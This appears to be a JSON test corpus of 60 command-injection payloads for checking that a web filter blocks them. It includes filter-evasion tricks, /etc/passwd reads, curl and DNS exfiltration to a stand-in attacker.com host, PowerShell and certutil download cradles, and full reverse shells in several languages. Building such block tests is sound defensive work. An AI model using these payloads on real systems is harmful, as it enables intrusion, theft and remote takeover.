[
  {"id":"rce-adv-001","payload":";id","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","semicolon"],"notes":"Semicolon command separator","expected_block":true},
  {"id":"rce-adv-002","payload":"|id","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","pipe"],"notes":"Pipe command injection","expected_block":true},
  {"id":"rce-adv-003","payload":"||id","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","or-chain"],"notes":"OR operator injection","expected_block":true},
  {"id":"rce-adv-004","payload":"&&id","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","and-chain"],"notes":"AND operator injection","expected_block":true},
  {"id":"rce-adv-005","payload":"`id`","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","backtick","subshell"],"notes":"Backtick subshell","expected_block":true},
  {"id":"rce-adv-006","payload":"$(id)","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","dollar-paren","subshell"],"notes":"Dollar-paren subshell","expected_block":true},
  {"id":"rce-adv-007","payload":"%0aid","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","newline"],"notes":"Newline injection","expected_block":true},
  {"id":"rce-adv-008","payload":"%0d%0aid","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","crlf"],"notes":"CRLF injection","expected_block":true},
  {"id":"rce-adv-009","payload":"& whoami","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","background"],"notes":"Background operator","expected_block":true},
  {"id":"rce-adv-010","payload":"| whoami","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","pipe"],"notes":"Pipe whoami","expected_block":true},
  {"id":"rce-adv-011","payload":"a]||id;[","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","bracket-escape"],"notes":"Bracket syntax escape","expected_block":true},
  {"id":"rce-adv-012","payload":"a]|id|[","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","bracket-pipe"],"notes":"Bracket pipe escape","expected_block":true},
  {"id":"rce-adv-013","payload":";${IFS}id","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","ifs","evasion"],"notes":"IFS variable whitespace bypass","expected_block":true},
  {"id":"rce-adv-014","payload":";{id}","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","brace-expansion"],"notes":"Brace expansion","expected_block":true},
  {"id":"rce-adv-015","payload":"${IFS}id","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","ifs","variable"],"notes":"IFS as separator","expected_block":true},
  {"id":"rce-adv-016","payload":"cat${IFS}/etc/passwd","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","ifs","file-read"],"notes":"IFS to read passwd","expected_block":true},
  {"id":"rce-adv-017","payload":"cat$IFS/etc/passwd","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","ifs","file-read"],"notes":"IFS without braces","expected_block":true},
  {"id":"rce-adv-018","payload":"cat%09/etc/passwd","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","tab","file-read"],"notes":"Tab separator","expected_block":true},
  {"id":"rce-adv-019","payload":"cat%20/etc/passwd","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","space","file-read"],"notes":"URL encoded space","expected_block":true},
  {"id":"rce-adv-020","payload":"cat</etc/passwd","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","redirect","file-read"],"notes":"Input redirect as arg","expected_block":true},
  {"id":"rce-adv-021","payload":"c'a't /etc/passwd","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","quote-split","evasion"],"notes":"Single quote word splitting","expected_block":true},
  {"id":"rce-adv-022","payload":"c\"a\"t /etc/passwd","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","dquote-split","evasion"],"notes":"Double quote word splitting","expected_block":true},
  {"id":"rce-adv-023","payload":"c\\at /etc/passwd","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","backslash","evasion"],"notes":"Backslash in command name","expected_block":true},
  {"id":"rce-adv-024","payload":"/???/??t /???/p??s??","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","glob","evasion"],"notes":"Glob pattern /bin/cat /etc/passwd","expected_block":true},
  {"id":"rce-adv-025","payload":"/???/n? -e /???/b??h attacker.com 4444","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","glob","reverse-shell"],"notes":"Glob-based reverse shell","expected_block":true},
  {"id":"rce-adv-026","payload":"$(printf '\\x69\\x64')","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","printf","hex"],"notes":"printf hex encoded id","expected_block":true},
  {"id":"rce-adv-027","payload":"$(echo${IFS}'id'|${IFS}'bash')","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","echo-pipe","evasion"],"notes":"Echo pipe to bash","expected_block":true},
  {"id":"rce-adv-028","payload":"echo${IFS}$(id)","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","nested-subshell"],"notes":"Nested subshell execution","expected_block":true},
  {"id":"rce-adv-029","payload":"bash -c {echo,aWQ=}|{base64,-d}|bash","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","base64","brace"],"notes":"Base64 brace expansion","expected_block":true},
  {"id":"rce-adv-030","payload":"echo aWQ= | base64 -d | bash","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","base64","pipe"],"notes":"Base64 decode pipe bash","expected_block":true},
  {"id":"rce-adv-031","payload":"bash<<<$(base64 -d<<<aWQ=)","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","herestring","base64"],"notes":"Here-string base64 execution","expected_block":true},
  {"id":"rce-adv-032","payload":"python -c 'import os;os.system(\"id\")'","category":"rce","method":"GET","severity_hint":"critical","tags":["python","os-system"],"notes":"Python os.system","expected_block":true},
  {"id":"rce-adv-033","payload":"python3 -c 'import subprocess;subprocess.call([\"id\"])'","category":"rce","method":"GET","severity_hint":"critical","tags":["python","subprocess"],"notes":"Python subprocess.call","expected_block":true},
  {"id":"rce-adv-034","payload":"perl -e 'system(\"id\")'","category":"rce","method":"GET","severity_hint":"critical","tags":["perl","system"],"notes":"Perl system call","expected_block":true},
  {"id":"rce-adv-035","payload":"ruby -e '`id`'","category":"rce","method":"GET","severity_hint":"critical","tags":["ruby","backtick"],"notes":"Ruby backtick execution","expected_block":true},
  {"id":"rce-adv-036","payload":"node -e 'require(\"child_process\").exec(\"id\")'","category":"rce","method":"GET","severity_hint":"critical","tags":["node","child-process"],"notes":"Node.js child_process","expected_block":true},
  {"id":"rce-adv-037","payload":"php -r 'system(\"id\");'","category":"rce","method":"GET","severity_hint":"critical","tags":["php","system"],"notes":"PHP system call","expected_block":true},
  {"id":"rce-adv-038","payload":"lua -e 'os.execute(\"id\")'","category":"rce","method":"GET","severity_hint":"critical","tags":["lua","os-execute"],"notes":"Lua os.execute","expected_block":true},
  {"id":"rce-adv-039","payload":"& ping -c 5 attacker.com &","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","ping","oob"],"notes":"OOB via ping","expected_block":true},
  {"id":"rce-adv-040","payload":"& nslookup attacker.com &","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","dns","oob"],"notes":"OOB via nslookup","expected_block":true},
  {"id":"rce-adv-041","payload":"& curl http://attacker.com/$(whoami) &","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","curl","exfil"],"notes":"Curl data exfiltration","expected_block":true},
  {"id":"rce-adv-042","payload":"& wget http://attacker.com/$(id) &","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","wget","exfil"],"notes":"Wget data exfiltration","expected_block":true},
  {"id":"rce-adv-043","payload":"& dir","category":"rce","method":"GET","severity_hint":"critical","tags":["windows","dir"],"notes":"Windows dir command","expected_block":true},
  {"id":"rce-adv-044","payload":"& type C:\\Windows\\win.ini","category":"rce","method":"GET","severity_hint":"critical","tags":["windows","type","file-read"],"notes":"Windows type file read","expected_block":true},
  {"id":"rce-adv-045","payload":"| powershell -nop -c whoami","category":"rce","method":"GET","severity_hint":"critical","tags":["windows","powershell"],"notes":"PowerShell whoami","expected_block":true},
  {"id":"rce-adv-046","payload":"| powershell -nop -c \"IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/p')\"","category":"rce","method":"GET","severity_hint":"critical","tags":["windows","powershell","download-cradle"],"notes":"PowerShell download cradle","expected_block":true},
  {"id":"rce-adv-047","payload":"| certutil -urlcache -split -f http://attacker.com/shell.exe C:\\temp\\shell.exe","category":"rce","method":"GET","severity_hint":"critical","tags":["windows","certutil","download"],"notes":"Certutil file download","expected_block":true},
  {"id":"rce-adv-048","payload":"| bitsadmin /transfer job /download /priority high http://attacker.com/shell.exe C:\\temp\\shell.exe","category":"rce","method":"GET","severity_hint":"critical","tags":["windows","bitsadmin","download"],"notes":"BITS download","expected_block":true},
  {"id":"rce-adv-049","payload":"& for /f %i in ('whoami') do nslookup %i.attacker.com","category":"rce","method":"GET","severity_hint":"critical","tags":["windows","for-loop","dns-exfil"],"notes":"Windows DNS exfiltration via for","expected_block":true},
  {"id":"rce-adv-050","payload":"| set /a 1+1","category":"rce","method":"GET","severity_hint":"high","tags":["windows","arithmetic","probe"],"notes":"Windows arithmetic probe","expected_block":true},
  {"id":"rce-adv-051","payload":"bash -i >& /dev/tcp/attacker.com/4444 0>&1","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","reverse-shell","bash"],"notes":"Bash TCP reverse shell","expected_block":true},
  {"id":"rce-adv-052","payload":"python -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"attacker.com\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","reverse-shell","python"],"notes":"Python reverse shell","expected_block":true},
  {"id":"rce-adv-053","payload":"php -r '$sock=fsockopen(\"attacker.com\",4444);exec(\"/bin/sh -i <&3 >&3 2>&3\");'","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","reverse-shell","php"],"notes":"PHP reverse shell","expected_block":true},
  {"id":"rce-adv-054","payload":"ruby -rsocket -e 'f=TCPSocket.open(\"attacker.com\",4444).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","reverse-shell","ruby"],"notes":"Ruby reverse shell","expected_block":true},
  {"id":"rce-adv-055","payload":"mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker.com 4444 >/tmp/f","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","reverse-shell","netcat","mkfifo"],"notes":"Netcat mkfifo reverse shell","expected_block":true},
  {"id":"rce-adv-056","payload":"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc attacker.com 4444 >/tmp/f","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","reverse-shell","netcat"],"notes":"Netcat reverse shell cleanup","expected_block":true},
  {"id":"rce-adv-057","payload":"awk 'BEGIN {s = \"/inet/tcp/0/attacker.com/4444\"; while(1){printf \"> \" |& s; s |& getline c; if(c) while ((c |& getline) > 0) print $0 |& s; close(c)}}'","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","reverse-shell","awk"],"notes":"AWK reverse shell","expected_block":true},
  {"id":"rce-adv-058","payload":"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci5jb20vNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}","category":"rce","method":"GET","severity_hint":"critical","tags":["linux","reverse-shell","base64","brace"],"notes":"Brace expansion base64 reverse shell","expected_block":true},
  {"id":"rce-adv-059","payload":"powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAYQB0AHQAYQBjAGsAZQByAC4AYwBvAG0AIgAsADQANAA0ADQAKQA=","category":"rce","method":"GET","severity_hint":"critical","tags":["windows","reverse-shell","powershell","base64"],"notes":"PowerShell base64 reverse shell","expected_block":true},
  {"id":"rce-adv-060","payload":"powershell -nop -c \"$c=New-Object Net.Sockets.TCPClient('attacker.com',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length)}\"","category":"rce","method":"GET","severity_hint":"critical","tags":["windows","reverse-shell","powershell","full"],"notes":"Full PowerShell TCP reverse shell","expected_block":true}
]